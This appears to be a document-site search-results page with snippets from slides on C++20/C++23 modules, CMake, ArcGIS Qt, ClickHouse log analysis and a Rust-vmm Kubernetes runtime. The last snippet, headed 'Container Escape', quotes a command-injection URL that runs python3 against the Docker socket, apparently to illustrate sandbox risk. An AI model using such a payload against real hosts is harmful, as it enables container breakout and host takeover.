C++20: An (Almost) Complete Overview
constinit consteval co_await co_return co_yield char8_t New identifiers: import moduleModules7 Modules Advantages Replace header files Modules explicitly state what cppcon.cppm – Module Interface File export module cppcon; // Module declaration namespace CppCon { auto GetWelcomeHelper() { return "Welcome to CppCon 2020!"; } export auto GetWelcome() { return GetWelcomeHelper(); GetWelcomeHelper(); } } Consume a module: // main.cpp import cppcon; int main() { std::cout << CppCon::GetWelcome(); }9 Modules C++20 doesn’t specify if and how to modularize the Standard Library0 码力 | 85 页 | 512.18 KB | 5 月前3Making Libraries Consumable for Non-C++ Developers
-fdwarf-exceptions? -fseh-exceptions? etc.What is being declared? OBJC_EXPORT id objc_msgSend(id self, SEL op, ...);What is being declared? OBJC_EXPORT id objc_msgSend(id self, SEL op, ...); Indicates variadic arguments…0 码力 | 29 页 | 1.21 MB | 5 月前3C++高性能并行编程与优化 - 课件 - 16 现代 CMake 模块化项目管理指南
• cmake -B build -DQt5_DIR=”/opt/Qt5.12.1/lib/cmake/Qt5” • (2) 全局启用。修改你的 ~/.bashrc 文件添加环境变量: • export Qt5_DIR=”/opt/Qt5.12.1/lib/cmake/Qt5” ,然后重启终端。这样以后你每次构建任何 项目, find_package 都能自动找到这个路径的 Qt5 包了。0 码力 | 56 页 | 6.87 MB | 1 年前3C++23: An Overview of Almost All New and Updated Features
named modules are introduced: import std; Imports everything from std namespace from C++ headers (e.g. std::sort()) C wrapper headers (e.g. std::fopen()) import std.compat; Imports everything versions of the C wrapper headers (e.g. ::fopen()) Standard Library Modules42 Modern “Hello World”: import std; int main() { std::println("Hello World!"); } Standard Library Modules43 Agenda C++230 码力 | 105 页 | 759.96 KB | 5 月前3Visualize Time Enabled Data using ArcGIS Qt (C++) and Toolkit
• Where: - https://github.com/Esri/arcgis-runtime-toolkit-qt • How: - Clone the repository and import the path in .pro file in Qt Creator - Register your components in main.cppArcGIS Runtime Toolkit0 码力 | 10 页 | 734.09 KB | 5 月前3Analyzing MySQL Logs with ClickHouse
--service-port=9116 © 2018 Percona. 40 Use Advanced Data Exploration Dashboard © 2018 Percona. 41 Import Grafana Dashboard © 2018 Percona. 42 Dashboard Works out of the Box © 2018 Percona. 43 Thank0 码力 | 43 页 | 2.70 MB | 1 年前3基于Rust-vmm实现Kubernetes运行时
AKA Sandbox Isolation. • Container Escape docker.vh.neargle.com:8888/?command_exec=python3 -c "import docker;client = docker.DockerClient(base_url='unix:///var/run/docker.sock');data = client.containers0 码力 | 27 页 | 34.17 MB | 1 年前3
共 7 条
- 1